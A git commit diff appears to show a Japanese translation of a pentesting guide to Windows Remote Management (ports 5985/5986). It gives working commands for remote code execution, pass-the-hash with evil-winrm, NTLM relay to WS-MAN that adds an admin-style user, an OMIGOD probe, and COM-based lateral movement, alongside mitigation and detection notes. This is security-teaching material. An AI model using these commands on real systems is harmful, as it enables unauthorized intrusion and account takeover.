Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:38:29 +00:00
parent 23bb2da58e
commit 24d2d9f2ee

View File

@ -4,7 +4,7 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介したリモート管理が簡単に行えます。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます
@ -22,7 +22,7 @@ Set-Item wsman:\localhost\client\trustedhosts *
```
このアプローチは、`trustedhosts` 設定にワイルドカードを追加することを含みます。このステップは、その影響を考慮する必要があるため、慎重な検討が求められます。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があることも指摘されています。
さらに、WinRMは `wmic` コマンドを使用して**リモートで**アクティブ化できます。以下に示します:
さらに、WinRMは `wmic` コマンドを使用して**リモートで**有効化できます。以下に示します:
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
@ -36,7 +36,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```bash
Test-WSMan <target-ip>
```
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示します。
![](<../images/image (582).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにできます:
現在のPSコンソールのコマンドを**_**Invoke-Command**_を介して**実行することもできます。ローカルに**_**enumeration**_という関数があり、リモートコンピュータでそれを**実行したい場合**、次のようにます:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -89,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **WinRMを強制的に開く**
PSリモーティングとWinRMを使用するために、コンピュータが構成されていない場合は、次のコマンドで有効にできます
PSリモーティングとWinRMを使用するために、コンピュータが構成されていない場合は、次のコマンドで有効にできます:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### セッションの保存と復元
この**機能は動作しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。
この**方法は機能しません**、もし**リモートコンピュータ**で**言語**が**制約**されている場合。
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -146,7 +146,7 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
evil-winrmを使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
### evil-winrmでハッシュを渡す
```ruby
@ -162,7 +162,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
```
### Rubyスクリプトの使用
**コードはここから抽出されました:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
**ここから抽出したコード:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
require 'winrm-fs'
@ -220,7 +220,72 @@ end
- `port:5985 Microsoft-HTTPAPI`
## References
---
## 最近の脆弱性と攻撃技術 (2021-2025)
### NTLMリレーをWinRM (WS-MAN)に直接
Impacket 0.112023年5月以降、`ntlmrelayx.py`はキャプチャしたNTLM認証情報を**WS-MAN**/WinRMリスナーに直接リレーできます。ホストが**暗号化されていないHTTP (5985)**でリスニングしている場合、攻撃者は*mitm6*(または*Responder*を組み合わせて認証を強制し、SYSTEMレベルのコード実行を取得できます。
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
緩和策
* HTTPリスナーを無効にする `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* HTTPSを強制し、最近のWindowsバージョンで認証のための拡張保護EPAを有効にする。
### OMIGOD CVE-2021-38647 (Azure OMI)
Azure Linuxエージェントは、ポート **5985/5986** でWinRM/WS-MAN APIを公開する**Open Management Infrastructure (OMI)**サービスを使用しています。論理エラーにより、**認証されていないRCEがrootとして可能**になりました:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
OMIバージョン ≥ 1.6.8-1をパッチまたは削除し、これらのポートをインターネットからブロックします。
### WSMan.Automation COMの悪用による横移動
WinRMは、`WSMan.Automation` COMオブジェクトを介してPowerShellなしで操作できます - 制約付き言語モードのシステムで便利です。*SharpWSManWinRM*のようなツールは、この技術をラップします:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
実行チェーン(`svchost → wmiprvse → cmd.exe`は、従来のPS-リモーティングと同じです。
---
## ツールの更新
* **Evil-WinRM v3.x (2024)** 現在、**Kerberos**`-k` / `--spn`)および**証明書ベース**の認証(`--cert-pem`/`--key-pem`)、セッションログ(`-L`)、リモートパス補完を無効にする機能(`-N`)をサポートしています。
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** は、CredSSPおよびKerberosを含むLinuxからのWinRMおよびPS-リモーティングを提供します:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **検出** **Microsoft-Windows-WinRM/Operational** ログを監視します:
* イベント 91 / 163 シェルが作成されました
* イベント 182 認証失敗
* セキュリティログのイベント 4262 は、ソースIPを記録します2022年7月のCUで追加
これらを中央で収集し、匿名または外部IPにアラートを出します。
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## 参考文献
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)